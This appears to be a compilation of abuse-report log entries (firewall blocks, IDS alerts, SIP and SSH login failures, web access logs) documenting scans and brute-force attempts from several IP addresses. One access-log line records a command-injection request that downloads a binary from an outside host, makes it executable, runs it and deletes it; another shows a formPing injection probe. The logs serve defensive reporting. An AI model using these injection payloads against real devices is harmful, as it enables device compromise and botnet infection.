Jun  9 09:46:03 debian-2gb-nbg1-2 kernel: \[13947499.853851\] \[UFW BLOCK\] IN=eth0 OUT= MAC=96:00:00:0e:18:f4:d2:74:7f:6e:37:e3:08:00 SRC=37.49.226.3 DST=195.201.40.59 LEN=40 TOS=0x00 PREC=0x00 TTL=246 ID=2129 PROTO=TCP SPT=42645 DPT=50802 WINDOW=1024 RES=0x00 SYN URGP=0

firewall-block, port(s): 8443/tcp

 TCP (SYN) 37.49.226.3:40193 -> port 5038, len 44

firewall-block, port(s): 5038/tcp

trying to access non-authorized port

Port scanning [6 denied]

ET CINS Active Threat Intelligence Poor Reputation IP group 19 - port: 50802 proto: TCP cat: Misc Attack

 TCP (SYN) 37.49.226.3:42763 -> port 50802, len 44

05/13/2020-19:45:32.035640 37.49.226.3 Protocol: 6 ET SCAN NMAP -sS window 1024

firewall-block, port(s): 8443/tcp, 50802/tcp

ET DROP Dshield Block Listed Source group 1 - port: 50802 proto: TCP cat: Misc Attack

Apr 25 14:57:11 debian-2gb-nbg1-2 kernel: \[10078370.965727\] \[UFW BLOCK\] IN=eth0 OUT= MAC=96:00:00:0e:18:f4:d2:74:7f:6e:37:e3:08:00 SRC=37.49.226.3 DST=195.201.40.59 LEN=40 TOS=0x00 PREC=0x00 TTL=245 ID=49932 PROTO=TCP SPT=51337 DPT=5038 WINDOW=1024 RES=0x00 SYN URGP=0

trying to access non-authorized port

MultiHost/MultiPort Probe, Scan, Hack -

scans 4 times in preceeding hours on the ports (in chronological order) 50802 50802 50802 5038

Port 5038 scan denied

Port Scanning Detected

Apr 11 08:51:31 debian-2gb-nbg1-2 kernel: \[8846895.854892\] \[UFW BLOCK\] IN=eth0 OUT= MAC=96:00:00:0e:18:f4:d2:74:7f:6e:37:e3:08:00 SRC=37.49.226.3 DST=195.201.40.59 LEN=40 TOS=0x00 PREC=0x00 TTL=245 ID=29422 PROTO=TCP SPT=51324 DPT=50802 WINDOW=1024 RES=0x00 SYN URGP=0

8443/tcp 5038/tcp 50802/tcp...
[2020-02-12/04-10]130pkt,5pt.(tcp)

04/10/2020-14:23:44.588298 37.49.226.3 Protocol: 6 ET SCAN NMAP -sS window 1024

Apr  3 09:15:48 debian-2gb-nbg1-2 kernel: \[8157188.430995\] \[UFW BLOCK\] IN=eth0 OUT= MAC=96:00:00:0e:18:f4:d2:74:7f:6e:37:e3:08:00 SRC=37.49.226.3 DST=195.201.40.59 LEN=40 TOS=0x00 PREC=0x00 TTL=245 ID=49454 PROTO=TCP SPT=56698 DPT=5038 WINDOW=1024 RES=0x00 SYN URGP=0

ICMP MH Probe, Scan /Distributed -

Mar 30 12:21:38 debian-2gb-nbg1-2 kernel: \[7822755.750255\] \[UFW BLOCK\] IN=eth0 OUT= MAC=96:00:00:0e:18:f4:d2:74:7f:6e:37:e3:08:00 SRC=37.49.226.3 DST=195.201.40.59 LEN=40 TOS=0x00 PREC=0x00 TTL=245 ID=2248 PROTO=TCP SPT=57702 DPT=5038 WINDOW=1024 RES=0x00 SYN URGP=0

Mar 28 19:48:13 debian-2gb-nbg1-2 kernel: \[7680358.769718\] \[UFW BLOCK\] IN=eth0 OUT= MAC=96:00:00:0e:18:f4:d2:74:7f:6e:37:e3:08:00 SRC=37.49.226.3 DST=195.201.40.59 LEN=40 TOS=0x00 PREC=0x00 TTL=245 ID=51032 PROTO=TCP SPT=52506 DPT=5038 WINDOW=1024 RES=0x00 SYN URGP=0

Mar 28 11:54:13 debian-2gb-nbg1-2 kernel: \[7651920.212797\] \[UFW BLOCK\] IN=eth0 OUT= MAC=96:00:00:0e:18:f4:d2:74:7f:6e:37:e3:08:00 SRC=37.49.226.3 DST=195.201.40.59 LEN=40 TOS=0x00 PREC=0x00 TTL=245 ID=52919 PROTO=TCP SPT=52790 DPT=5038 WINDOW=1024 RES=0x00 SYN URGP=0

Unauthorised access (Feb 17) SRC=37.49.226.3 LEN=40 TTL=57 ID=62278 TCP DPT=8080 WINDOW=46915 SYN 
Unauthorised access (Feb 16) SRC=37.49.226.3 LEN=40 TTL=57 ID=8273 TCP DPT=8080 WINDOW=46915 SYN 
Unauthorised access (Feb 16) SRC=37.49.226.3 LEN=40 TTL=57 ID=34435 TCP DPT=8080 WINDOW=8434 SYN 
Unauthorised access (Feb 16) SRC=37.49.226.3 LEN=40 TTL=57 ID=46849 TCP DPT=8080 WINDOW=8434 SYN

TCP ports : 465 / 587

TCP ports : 465 / 587

[2020-07-24 06:05:37] NOTICE[1277][C-00002857] chan_sip.c: Call from '' (37.49.226.39:61946) to extension '971441144630017' rejected because extension not found in context 'public'.
[2020-07-24 06:05:37] SECURITY[1295] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-24T06:05:37.251-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="971441144630017",SessionID="0x7f1754318b48",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/37.49.226.39/61946",ACLName="no_extension_match"
[2020-07-24 06:06:27] NOTICE[1277][C-00002859] chan_sip.c: Call from '' (37.49.226.39:57469) to extension '9710441144630017' rejected because extension not found in context 'public'.
[2020-07-24 06:06:27] SECURITY[1295] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-24T06:06:27.162-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="9710441144630017",SessionID="0x7f1754742008",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/3
...

[2020-07-23 02:28:17] NOTICE[1277][C-00002114] chan_sip.c: Call from '' (37.49.226.41:56352) to extension '199441274066041' rejected because extension not found in context 'public'.
[2020-07-23 02:28:17] SECURITY[1295] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-23T02:28:17.484-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="199441274066041",SessionID="0x7f175452b198",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/37.49.226.41/56352",ACLName="no_extension_match"
[2020-07-23 02:29:44] NOTICE[1277][C-00002115] chan_sip.c: Call from '' (37.49.226.41:56115) to extension '199810441274066041' rejected because extension not found in context 'public'.
[2020-07-23 02:29:44] SECURITY[1295] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-23T02:29:44.136-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="199810441274066041",SessionID="0x7f1754694fe8",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/U
...

[-]:80 37.49.226.35 - - [16/Jul/2020:13:54:39 +0200] "POST /boaform/admin/formPing?target_addr=;'+payload+'%20/&waninf=1_INTERNET_R_VID_154 HTTP/1.1" 301 631 "-" "python-requests/2.6.0 CPython/2.6.6 Linux/2.6.32-754.30.2.el6.x86_64"

37.49.226.35 - - [15/Jul/2020:05:16:28 -0500] "GET https://www.ad5gb.com/setup.cgi?next_file=afr.cfg&todo=syscmd&cmd=wget%20http://45.95.168.230/bins/Meth.mips%20-O%20/var/tmp/Meth.mips;%20chmod%20777%20/var/tmp/Meth.mips;%20/var/tmp/Meth.mips%20africo.exploit;%20rm%20-rf%20/var/tmp/Meth.mips&curpath=/¤tsetting.htm=1 HTTP/1.1" 400 346 400 346 0 0 452 416 605 295 0 DIRECT FIN FIN TCP_MISS

firewall-block, port(s): 5683/udp

Unauthorized connection attempt detected from IP address 37.49.226.4 to port 81

[2020-07-04 01:01:24] NOTICE[1197][C-00001132] chan_sip.c: Call from '' (37.49.226.37:49525) to extension '000442894548765' rejected because extension not found in context 'public'.
[2020-07-04 01:01:24] SECURITY[1214] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-04T01:01:24.282-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="000442894548765",SessionID="0x7f6d28136c98",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/37.49.226.37/49525",ACLName="no_extension_match"
[2020-07-04 01:04:58] NOTICE[1197][C-00001138] chan_sip.c: Call from '' (37.49.226.37:61836) to extension '000442894548765' rejected because extension not found in context 'public'.
[2020-07-04 01:04:58] SECURITY[1214] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-04T01:04:58.923-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="000442894548765",SessionID="0x7f6d288c4af8",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/37.
...

 TCP (SYN) 37.49.226.4:58116 -> port 81, len 44

firewall-block, port(s): 81/tcp

 TCP (SYN) 37.49.226.4:43452 -> port 81, len 44

Unauthorized connection attempt detected from IP address 37.49.226.227 to port 23 [T]

Unauthorized connection attempt detected from IP address 37.49.226.208 to port 23

Unauthorized connection attempt detected from IP address 37.49.226.208 to port 23

Oct  8 20:08:55 vtv3 sshd\[15429\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=131.221.80.177  user=root
Oct  8 20:08:58 vtv3 sshd\[15429\]: Failed password for root from 131.221.80.177 port 46913 ssh2
Oct  8 20:13:38 vtv3 sshd\[17761\]: Invalid user 123 from 131.221.80.177 port 10305
Oct  8 20:13:38 vtv3 sshd\[17761\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=131.221.80.177
Oct  8 20:13:40 vtv3 sshd\[17761\]: Failed password for invalid user 123 from 131.221.80.177 port 10305 ssh2
Oct  8 20:27:13 vtv3 sshd\[25023\]: Invalid user Root@2018 from 131.221.80.177 port 29377
Oct  8 20:27:13 vtv3 sshd\[25023\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=131.221.80.177
Oct  8 20:27:15 vtv3 sshd\[25023\]: Failed password for invalid user Root@2018 from 131.221.80.177 port 29377 ssh2
Oct  8 20:31:51 vtv3 sshd\[27431\]: Invalid user Root@2018 from 131.221.80.177 port 59617
Oc

Oct  8 23:48:02 localhost sshd\[26348\]: Invalid user !QAZ@WSX3edc from 190.104.167.194 port 41857
Oct  8 23:48:02 localhost sshd\[26348\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=190.104.167.194
Oct  8 23:48:04 localhost sshd\[26348\]: Failed password for invalid user !QAZ@WSX3edc from 190.104.167.194 port 41857 ssh2

Oct  8 23:18:30 ns381471 sshd[12789]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=80.88.88.181
Oct  8 23:18:32 ns381471 sshd[12789]: Failed password for invalid user 12345QWERT from 80.88.88.181 port 45839 ssh2
Oct  8 23:22:31 ns381471 sshd[12967]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=80.88.88.181

2019-10-08T21:05:33.841608abusebot-5.cloudsearch.cf sshd\[9244\]: Invalid user PASSW0RD@2018 from 106.51.73.204 port 63045

WordPress wp-login brute force :: 148.72.40.44 0.052 BYPASS [09/Oct/2019:07:05:05  1100] [censored_4] "POST /wp-login.php HTTP/1.1" 200 3989 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0"

$f2bV_matches

$f2bV_matches

\[2019-10-08 17:15:01\] NOTICE\[1887\] chan_sip.c: Registration from '\' failed for '77.247.110.201:55609' - Wrong password
\[2019-10-08 17:15:01\] SECURITY\[1898\] res_security_log.c: SecurityEvent="InvalidPassword",EventTV="2019-10-08T17:15:01.820-0400",Severity="Error",Service="SIP",EventVersion="2",AccountID="55555004",SessionID="0x7fc3ad563028",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/77.247.110.201/55609",Challenge="78849e7c",ReceivedChallenge="78849e7c",ReceivedHash="48a73aadf003ae31f3aeae48ed4c1774"
\[2019-10-08 17:15:01\] NOTICE\[1887\] chan_sip.c: Registration from '\' failed for '77.247.110.201:55612' - Wrong password
\[2019-10-08 17:15:01\] SECURITY\[1898\] res_security_log.c: SecurityEvent="InvalidPassword",EventTV="2019-10-08T17:15:01.835-0400",Severity="Error",Service="SIP",EventVersion="2",AccountID="55555004",SessionID="0x7fc3ac125db8",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/77

C1,WP GET /suche/wp-login.php

2019-10-08T16:23:57.4694981495-001 sshd\[38767\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=220.92.16.102  user=root
2019-10-08T16:23:59.4409911495-001 sshd\[38767\]: Failed password for root from 220.92.16.102 port 45664 ssh2
2019-10-08T17:08:19.8813541495-001 sshd\[41935\]: Invalid user qhsupport from 220.92.16.102 port 34492
2019-10-08T17:08:19.8843111495-001 sshd\[41935\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=220.92.16.102
2019-10-08T17:08:22.6374621495-001 sshd\[41935\]: Failed password for invalid user qhsupport from 220.92.16.102 port 34492 ssh2
2019-10-08T17:48:29.3979051495-001 sshd\[44601\]: Invalid user rabbitmq from 220.92.16.102 port 39092
2019-10-08T17:48:29.4008791495-001 sshd\[44601\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=220.92.16.102
...

xmlrpc attack

Oct  8 17:01:35 vtv3 sshd\[2177\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=82.99.253.198  user=root
Oct  8 17:01:36 vtv3 sshd\[2177\]: Failed password for root from 82.99.253.198 port 35412 ssh2
Oct  8 17:05:38 vtv3 sshd\[4265\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=82.99.253.198  user=root
Oct  8 17:05:41 vtv3 sshd\[4265\]: Failed password for root from 82.99.253.198 port 44548 ssh2
Oct  8 17:09:41 vtv3 sshd\[6100\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=82.99.253.198  user=root
Oct  8 17:21:52 vtv3 sshd\[13251\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=82.99.253.198  user=root
Oct  8 17:21:54 vtv3 sshd\[13251\]: Failed password for root from 82.99.253.198 port 52484 ssh2
Oct  8 17:25:59 vtv3 sshd\[15545\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=82.99.

Oct  8 11:30:37 wbs sshd\[20966\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=197.253.6.249  user=root
Oct  8 11:30:39 wbs sshd\[20966\]: Failed password for root from 197.253.6.249 port 37557 ssh2
Oct  8 11:35:23 wbs sshd\[21395\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=197.253.6.249  user=root
Oct  8 11:35:25 wbs sshd\[21395\]: Failed password for root from 197.253.6.249 port 57758 ssh2
Oct  8 11:40:17 wbs sshd\[21936\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=197.253.6.249  user=root

abcdata-sys.de:80 160.153.147.22 - - \[08/Oct/2019:22:04:31 +0200\] "POST /xmlrpc.php HTTP/1.1" 301 441 "-" "WordPress"
www.goldgier.de 160.153.147.22 \[08/Oct/2019:22:04:31 +0200\] "POST /xmlrpc.php HTTP/1.1" 200 4484 "-" "WordPress"

Oct  8 23:03:04 meumeu sshd[9889]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=211.252.84.191 
Oct  8 23:03:06 meumeu sshd[9889]: Failed password for invalid user Wachtwoord123456 from 211.252.84.191 port 35616 ssh2
Oct  8 23:08:22 meumeu sshd[10809]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=211.252.84.191 
...